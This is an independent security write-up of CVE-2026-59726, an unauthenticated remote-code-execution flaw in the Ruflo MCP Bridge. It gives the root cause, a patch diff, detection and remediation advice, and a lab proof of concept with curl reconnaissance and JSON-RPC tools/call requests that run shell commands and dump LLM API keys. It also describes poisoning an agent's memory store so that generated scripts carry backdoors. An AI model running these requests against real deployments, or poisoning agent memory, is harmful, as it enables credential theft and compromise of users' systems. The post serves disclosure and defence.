Vulnerability Research · AI Systems · MCP Security

CVE-2026-59726 (RufRoot): Unauthenticated RCE in the Ruflo MCP Bridge

Liliane Zukerman September 2026 Independent analysis
CVE-2026-59726 CVSS 9.8 CRITICAL CWE-306 CWE-78 CWE-942 Ruflo < 3.16.3

Summary

The Ruflo MCP Bridge, the component responsible for exposing AI agent tools over HTTP, accepted unauthenticated tools/list and tools/call requests in all versions prior to 3.16.3. Among the 239 tools it exposed was ruflo__terminal_execute, a primitive that runs arbitrary shell commands inside the container. The default docker-compose.yml bound the bridge to 0.0.0.0:3001, making it reachable from the network without any credentials. The result is a single unauthenticated HTTP request granting remote code execution.

From that foothold, the chain continues: environment variables hold every LLM provider API key in plaintext, the Docker socket is mounted into the container for legitimate operational reasons, and from the socket an attacker reaches root on the host. A less visible consequence is the ability to write malicious patterns into the platform's AI memory store — persistence that survives patching the bridge itself.

The vulnerability was discovered and responsibly disclosed by Noma Labs. This post is my independent analysis: I reproduced the full chain in an isolated lab environment and document the root cause, the MCP protocol mechanics involved, and what makes this attack class different from traditional web RCE.

Impact

An unauthenticated remote attacker with network access to port 3001 can execute arbitrary shell commands inside the bridge container, steal all LLM provider API keys, and escalate to root on the host via the Docker socket. Memory poisoning of the AI learning store persists after patching unless the store is explicitly audited and cleaned.

Vulnerability Metadata

FieldDetail
CVE IDCVE-2026-59726
CWECWE-306 — Missing Authentication for Critical Function; CWE-78 — OS Command Injection; CWE-942 — Permissive CORS Policy
CVSS v3.19.8 CRITICAL — AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
Affected versionsRuflo < 3.16.3 (all prior versions)
Fixed version3.16.3 (commit d00a0a40, PR #2521, July 2026)
Discovered byNoma Labs
AdvisoryGHSA-c4hm-4h84-2cf3
MITRE ATT&CKT1190 (Initial Access), T1059 (Execution), T1552.007 (Credentials from Container API)

Background

What is MCP

The Model Context Protocol (MCP) is an open standard published by Anthropic in late 2024 for exposing tools to LLM runtimes via JSON-RPC 2.0. A server announces a catalog of callable functions; a client (the AI application) invokes them. Two methods cover the essentials: tools/list returns the catalog with each tool's input schema, and tools/call invokes a tool by name with its arguments.

MCP runs over two transports. stdio keeps the server as a local subprocess — never touches the network, safe by design. HTTP with SSE puts the server on a TCP port. That is where the attack surface begins.

The Ruflo MCP Bridge

Ruflo is an open-source AI agent orchestration platform. Its MCP Bridge is a Node.js/Express server that routes every agent action through HTTP: shell execution, memory reads and writes, agent lifecycle management, configuration changes. Tools are organized into named groups, each accessible at /mcp/<group>. The bridge also exposes two diagnostic endpoints — /health and /groups — that return the full tool inventory, enabled groups, backend status, and tool names without any authentication. These endpoints effectively hand an attacker a complete map of the attack surface before a single MCP request is made.

Root Cause Analysis

The bridge registers its MCP routes in src/ruvocal/mcp-bridge/index.js without an authentication middleware in the handler chain. A tool blocklist (AUTOPILOT_BLOCKED_PATTERNS) existed in the codebase but was only applied in the autopilot execution path — not on the /mcp/:group route.

src/ruvocal/mcp-bridge/index.js — pre-patch
- // no authentication middleware - app.post('/mcp/:group', async (req, res) => { - const { group } = req.params; - return handleMCPRequest(req, res, group); // routes to executeTool() - }); + app.post('/mcp/:group', authMiddleware, async (req, res) => { + const { group } = req.params; + return handleMCPRequest(req, res, group); + });

The default docker-compose.yml bound the bridge to all network interfaces, completing the exposure:

ruflo/docker-compose.yml — pre-patch
mcp-bridge: ports: - - "3001:3001" # binds 0.0.0.0 by default + - "127.0.0.1:3001:3001" # loopback only in 3.16.3

The three weaknesses

CWE-306 (Missing Authentication) is the core flaw. Every /mcp/:group route, including tools/list and tools/call, was reachable without any credential. CWE-78 (OS Command Injection) follows because ruflo__terminal_execute runs arbitrary shell commands — the capability exists by design, but the missing auth makes it an unauthenticated primitive. CWE-942 (Permissive CORS) adds a browser-based vector via the wildcard Access-Control-Allow-Origin: *.

The blocklist that didn't apply

A command blocklist called AUTOPILOT_BLOCKED_PATTERNS existed in the codebase. It was only enforced inside the autopilot execution path. The /mcp/:group endpoint that an external attacker calls bypassed it entirely. The lesson: a protection that does not cover every code path that reaches a dangerous operation provides no protection at all.

Attack Scenario

The attack requires only network access to port 3001. No credentials, no prior account, no user interaction.

01
Reconnaissance via unauthenticated diagnostic endpoints. GET /health returns the service version, total tool count, and group status. GET /groups returns each group's description and the full list of tool names. Both respond without any authentication — a free map of the attack surface including ruflo__terminal_execute visible in the devtools group before sending a single MCP request.
02
Tool schema enumeration via tools/list. A POST /mcp/devtools with a tools/list JSON-RPC body returns the input schema for all tools in the group. The schema for ruflo__terminal_execute shows one required argument: command. No authentication required.
03
Unauthenticated remote code execution. A tools/call request with ruflo__terminal_execute executes arbitrary shell commands as the node user (uid 1000) inside the container. There is no flaw in the shell execution logic itself — the capability works as designed. What is missing is any check on who is allowed to call it.
04
LLM API key theft via environment variables. All provider keys (OpenAI, Anthropic, Google, OpenRouter) are loaded from .env into environment variables at container startup. A single printenv command retrieves all of them. In production, these keys fund arbitrary API usage on the victim's account and enable the attacker to spawn AI agents at the victim's expense.
05
Persistent memory poisoning via AgentDB. The /mcp/memory group exposes full AgentDB read/write without authentication. An attacker can inject malicious patterns — for example, a false compliance policy that causes every deployment script the AI generates to contain a backdoor. This persists after patching the bridge because the fix does not clear the memory store.

Proof of Concept

Reproduced in an isolated lab environment on Ubuntu Server 22.04, with Ruflo pinned to the last pre-patch commit (4e18ad84c, the parent of fix commit d00a0a40). No production systems were accessed.

Lab setup

Ubuntu Server 22.04 VM, Docker Engine 29.x. Ruflo MCP Bridge built from the vulnerable commit with docker compose up -d. Bridge reachable at http://<target>:3001. Fake LLM API keys seeded into the container environment to verify the credential theft step.

Step 1 — Reconnaissance

The /groups endpoint reveals the full tool inventory before a single MCP request is sent:

$ curl -s http://<target>:3001/groups | jq '.devtools.toolNames[] | select(test("terminal"))' "ruflo__terminal_execute"

Step 2 — Unauthenticated tools/list

POST /mcp/devtools HTTP/1.1
Host: <target>:3001
Content-Type: application/json

{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}

The response includes ruflo__terminal_execute with its inputSchema confirming command as the only required argument. No Authorization header was sent.

Step 3 — Remote Code Execution

POST /mcp/devtools HTTP/1.1
Host: <target>:3001
Content-Type: application/json

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
    "name":"ruflo__terminal_execute",
    "arguments":{"command":"id && hostname"}
}}
[+] RCE confirmed [*] output: uid=1000(node) gid=1000(node) groups=1000(node),999(systemd-journal) [*] hostname: 3db79da96da3 [*] exitCode: 0

Step 4 — LLM API key theft

{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{
    "name":"ruflo__terminal_execute",
    "arguments":{"command":"printenv | grep -iE API_KEY"}
}}
[!] LLM provider keys exposed via printenv OPENROUTER_API_KEY=sk-or-v1-[redacted] OPENAI_API_KEY=sk-proj-[redacted] ANTHROPIC_API_KEY=sk-ant-api03-[redacted] GOOGLE_API_KEY=AIzaSy[redacted]
Chain confirmed

Unauthenticated tools/call → shell as node inside container → LLM API keys via printenv. No credentials required at any step.

What Makes This Different from Traditional Web RCE

In a conventional web RCE, the attacker finds a flaw in the application's logic and exploits it. Here, there is no flaw in the shell execution logic — ruflo__terminal_execute works exactly as designed. The design assumption was that only the local AI orchestrator would ever call it. The transport layer (HTTP on all interfaces, no auth) made that assumption false.

The diagnostic endpoints amplify the problem in a way that has no parallel in traditional web applications. Leaving a /status endpoint public exposes version strings and feature flags. In an agentic platform, the same pattern exposes the complete capability map of the AI system: which agents are available, what tools they can call, and which backends are live. That is a qualitatively richer inventory for an attacker than a version number.

The memory poisoning step is the most significant departure from traditional web security. Patching the bridge stops future exploitation. But a pattern already written to AgentDB affects every future AI interaction that draws from that store — potentially for weeks or months, with no indication in logs that anything is wrong. The attack writes to the model's future behaviour, not to files or registry keys. Re-deploying the application with a clean image does not undo it.

Beyond the CVE itself, deployments that mount the host Docker socket into the bridge container — a common pattern in agent orchestration platforms that spawn containers dynamically — face additional escalation risk: a foothold inside the container can reach root on the host via the socket API. This is a deployment-level consideration, not part of CVE-2026-59726.

Detection

Is my deployment affected?

1. You run Ruflo in any version prior to 3.16.3.

2. Port 3001 is reachable from any network beyond localhost — including an internal network.

3. You have not set MCP_AUTH_TOKEN in your environment and verified that the bridge enforces it.

Checking for compromise

Rotate all LLM API keys immediately — they were accessible to any network-reachable caller. In HTTP logs, any successful POST /mcp/devtools without an Authorization header before the patch was deployed is evidence of exploitation. Check docker images on the host for images your team did not pull. Audit AgentDB for memory entries created by unknown sessions or containing unusual patterns such as external URLs embedded in agent instructions.

Remediation

Primary fix

Upgrade to Ruflo 3.16.3 or later. This is the only complete fix.

ChangeDetail
Loopback bind by defaultBridge now listens on 127.0.0.1:3001; fail-closed without explicit MCP_AUTH_TOKEN.
Bearer authenticationAll /mcp routes require a valid token, compared with constant-time equality.
terminal_execute disabledShell execution requires explicit opt-in flag; not available by default.
MongoDB authenticationDatabase requires authentication on startup.
CORS allowlistWildcard Access-Control-Allow-Origin: * replaced with explicit origin list.

After patching

Patching is necessary but not sufficient if the instance was compromised before the update. Rotate all LLM API keys. Audit AgentDB for injected patterns — a redeploy does not clear the memory store. Verify that no unexpected containers are running on the host.

Timeline

DateEvent
July 2026CVE-2026-59726 disclosed by Noma Labs; fix merged same day
July 2026Ruflo 3.16.3 released, commit d00a0a40 (PR #2521)
July 2026Advisory GHSA-c4hm-4h84-2cf3 published
September 2026Independent analysis and lab reproduction; this post published

References

Noma Labs — RufRoot: The MCP Bridge Vulnerability That Turns Agents into Rogue Admins

GHSA-c4hm-4h84-2cf3 — GitHub Security Advisory

Model Context Protocol — Tools specification

MITRE ATT&CK T1552.007 — Credentials from Container API